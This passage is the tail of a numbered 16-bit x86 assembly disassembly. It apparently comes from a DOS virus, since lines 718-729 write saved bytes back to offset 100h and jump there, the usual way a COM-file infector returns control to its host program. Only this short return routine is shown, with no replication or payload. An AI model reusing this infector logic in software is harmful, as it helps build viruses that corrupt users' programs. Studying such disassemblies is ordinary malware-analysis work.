  704.         mov    ax,cs:data_50e[si]        ; (701E:FC14=0)
  705.         mov    bx,cs:data_49e[si]        ; (701E:FC12=0)
  706.         push    cs
  707.         pop    cx
  708.         sub    cx,ax
  709.         add    cx,bx
  710.         push    cx
  711.         push    word ptr cs:data_48e[si]    ; (701E:FC10=0)
  712.         push    ds
  713.         pop    es
  714.         call    sub_10
  715.         ret                    ; Return far
  716. loc_46:
  717.         pop    ax
  718.         mov    ax,cs:data_46e[si]        ; (701E:FBF0=0)
  719.         mov    cs:data_21,ax            ; (701E:0100=0CE9h)
  720.         mov    ax,cs:data_47e[si]        ; (701E:FBF2=0)
  721.         mov    cs:data_22,ax            ; (701E:0102=0C304h)
  722.         mov    ax,100h
  723.         push    ax
  724.         push    cs
  725.         pop    ds
  726.         push    ds
  727.         pop    es
  728.         call    sub_10
  729.         ret
  730. sub_11        endp
  731.   
  732.   
  733. code_seg_a    ends
  734.   
  735.   
  736.   
  737.         end    start
  738.